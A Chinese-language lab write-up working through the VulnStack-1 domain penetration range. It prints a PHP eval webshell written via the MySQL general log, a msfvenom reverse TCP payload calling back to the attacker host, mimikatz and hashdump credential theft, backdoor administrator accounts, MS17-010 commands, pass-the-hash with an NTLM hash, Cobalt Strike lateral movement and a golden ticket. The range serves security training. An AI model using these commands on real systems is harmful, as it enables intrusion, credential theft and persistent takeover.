VulnStack-1
环境搭建
靶场下载: http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
下载后, 解压三个压缩包, 分别为
1 | vm1: windows7---web服务 (双网卡,分别连通外网和内网) |
环境配置:
在VMware 左上角“编辑—>虚拟网络编辑器”添加一段虚拟网络,设置为仅主机
给Win7外网服务器添加一张网卡,一张网卡为NAT(连通外网),另一张是我们刚刚添加的VMnat2(连通内网)
同样的, 内网域控还有域成员网卡都设置为VMnat2
设置好后启动机器,密码均为
hongrisec@2019
(登录时 提示密码过期需更改密码)
登录Win7(外网服务器)打开phpStudy开启服务,这样环境就配置好了(位置:C:\phpStudy\phpStudy.exe)
其中若phpstudy启动失败(固定IP的问题), 可以尝试此解决方式(亲测有效): https://blog.csdn.net/qq_43871179/article/details/125307581
外网打点
信息收集
扫描本机网段,端口: nmap -PO 192.168.22.0/24
//探测存活ip还有端口
发现开放web服务以及MySQL服务, 访问地址是一个PHP探针(其中透露着网站的绝对路径)
在底部发现MySQL数据库连接
尝试弱口令(root:root)连接, 发现连接成功
接下来进行目录扫描, 发现phpmyadmin目录
那么利用弱口令进入后台, 尝试利用漏洞
漏洞利用
phpmyadmin后台getshell有几种方式: https://cloud.tencent.com/developer/article/2395998
这里选用一种能用的方式进行写入shell(数据库全局日志写入):
查看日志信息
SHOW VARIABLES LIKE '%general%'
日志读写默认是关闭的,所以我们要打开
SET GLOBAL general_log='on';
将MySQL的通用查询日志(general query log)的输出文件设置为指定的路径
set global general_log_file = 'C:/phpStudy/WWW/1.php'
写入一句话木马
SELECT '<?php @eval($_POST["cmd"]);?>'
成功写入
蚁剑连接,成功上线
可以顺便进行一下信息收集
1 | 1.ipconfig 看所处网段是否有多个 |
漏洞点2:
在刚才的蚁剑界面, 发现有yxcms存在, 访问看看有无利用点
这里直接给出了后台…进入看看有无利用点在前台模板处发现可以写入shell
具体的上线过程不再赘述此外还存在xss和sql注入等漏洞, 在此也不再赘述
后渗透
接下来将shell派送给CS或者msf进行下一步渗透
msf渗透
上线msf
- 使用msf生成exe shell
1 | msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.191.128 LPORT=1234 -f exe -o shell.exe |
- 开启监听
1 | use exploit/multi/handler |
用蚁剑将exe上传并执行
得到反弹的msf shell
进入反弹回来的会话中, 查看当前权限
发现已经是system权限了,不需要提权, 接下来获取密码
密码攻击
- 利用hashdump抓取密码
1 | Windows系统下的hash密码格式为: |
- 加载 mimikatz 模块,加载模块前需要先将meterpreter迁移到64位的进程,该进程也需要是system权限
- 查看进程
ps
- 把进程迁移到PID为520这个程序中(找一个x64的程序移进去就好)
migrate [PID]
- 加载kiwi模块
load kiwi
- 执行命令抓取密码
kiwi_cmd sekurlsa::logonpasswords
- 也可以列举系统中的明文密码
creds_all
- 查看进程
远程桌面
最后, 可以开启远程窗口服务, 完成此机器的渗透, 可以先执行命令
screenshot
尝试截取目标靶机的屏幕测试一下开启3389服务
run post/windows/manage/enable_rdp
测试一下
nmap -p 3389 192.168.191.128
进行连接
- 进入shell
shell
, 创建用户并设置密码
进入windows shell后乱码可以执行chcp 65001
命令恢复
1
net user Hades ytm@123 /add #密码最好不要太简单也不要含有用户名
- 将用户提升到管理员权限
1
net localgroup administrators Hades /add
- 最后再查看一下
1
net user
- 在Kali上使用创建的账户远程登录被攻击的主机
1
rdesktop -u Hades 192.168.191.138
- 进入shell
msf横向移动
横向渗透前,先将该web服务器配置为代理服务器当作跳板机
隧道搭建:
msf+proxychains
可用msf直接搭建sock隧道, 进入session, 自动创建路由
run post/multi/manage/autoroute
查看路由
run autoroute -p
退到上层,使用socks5进行代理
1
2
3background
use auxiliary/server/socks_proxy
runrun后 可用
jobs
查看任务是否执行配置proxychains
vi /etc/proxychains.conf
全局代理测试
proxychains curl 192.168.52.143/phpmyadmin
那么至此, 成功构成利用msf构成socks5反向代理的隧道, 接下来进行内网的信息收集
- 主机探活的一些模块
1 | post/windows/gather/arp_scanner #基于arp协议发现内网存活主机 |
这里挑一个演示一下(arp_scanner):
1 | use post/windows/gather/arp_scanner |
探活结果:
结合发现内网内共存在三台主机
1 | 192.168.52.138/24 |
- 内网主机服务探测
1 | auxiliary/scanner/ftp/ftp_version #发现内网ftp服务,基于默认21端口 |
查看域信息
net view
查看主域信息
net view /domain
内网主机端口扫描
1 | proxychains nmap -Pn -sT 192.168.52.141 |
这里使用msf的模块扫描:
漏洞利用:
刚才根据扫描, 发现开放了445端口, 可以用MS17_010(永恒之蓝)攻击试一下 auxiliary/scanner/smb/smb_ms17_010
经过测试, 通过msf正向连接shell成功率不高, 其中的 auxiliary/admin/smb/ms17_010_command
模块可以正常使用, 尝试执行命令
1 | use auxiliary/admin/smb/ms17_010_command |
可以成功执行命令, 之后尝试过之前提到过的连接远程桌面, 但在这里没成功
但是可以试着打开telnet服务, 通过telnet远程连接
- 先添加一个用户并提升权限
1 | set COMMAND net user hack Hades /add |
- 打开telnet服务
1 | set COMMAND sc config tlntsvr start= auto |
- telnet连接
1 | use auxiliary/scanner/telnet/telnet_login |
至此, 这台服务器也成功拿下( ctrl+]
再输入q退出telnet)
其他一些思路: https://bwshen.blog.csdn.net/article/details/118338328
接下来, 我们用其他思路横向2008这台域控
- psexec攻击(哈希传递): 通过之前密码攻击拿到的域管理员账号后,可以使用该域管理员账号密码利用 psexec 登录域内任何一台开启了admin$共享(该共享默认开启) 的主机。
可以在win7的远程桌面上下载此工具(或者通过蚁剑上传): https://download.sysinternals.com/files/PSTools.zip
然后执行程序, 拿到域控的shell psexec.exe \\192.168.52.138 -u god\administrator -p hongrisec@2019 cmd
- 获取到域管理员密码NTLM hash值时,可借助mimikatz进行进行登录域内其他电脑:
sekurlsa::pth /user:administrator /domain:"god.org" /ntlm:c456c606a647ef44b646c44a227917a4
还有很多方法, 目前就到这里吧, 接下来用cs演示一下渗透过程
cs渗透
开启cs服务
./teamserver <IP> <password>
创建监听器, 设置好监听端口, 开始监听
接下来可以通过cs中的
攻击—>生成后门—>Windows可执行文件
生成cs马, 以同样的方式在蚁剑shell中执行实现上线cs
我这里使用msf和cs联动的方式将shell派发给cs:
1 | use windows/local/payload_inject |
回连间隔改为0(这只是靶场操作,实战不要用容易被ban)
顺手先关个防火墙
shell netsh advfirewall set allprofiles state off
目前权限也是最高, 可以不用进行提权操作了, 这里因为是第二次渗透, 内网信息收集就不做过多演示了
端口扫描
浏览探测—>端口扫描—>52内网段
- 抓取明文密码等下横向会用到
凭证提权—>抓取明文密码
cs横向移动
刚刚我们端口扫描的时候发现开放了445端口,可以创建SMB监听隧道
创建SMB监听器
切换攻击目标列表
右建选择—> 横向移动 —> psexec
横向成功,进入域控
按同样方式也可以拿下另一台域成员服务器
权限持久化(黄金票据):
黄金票据是指能够绕过认证授权(Authentication and Authorization)机制并获得所需权限的票据。这种票据可以被攻击者收集和利用,从而从系统内部获取高权限,甚至完全控制系统。
- 把SID,域名,复制下来等下黄金票据要用
1 | hash: 58e91a5ac358d86513ab224312314061 |
把刚刚复制的域名,SID粘贴上去,hash自动抓取了,用户名随意
成功获取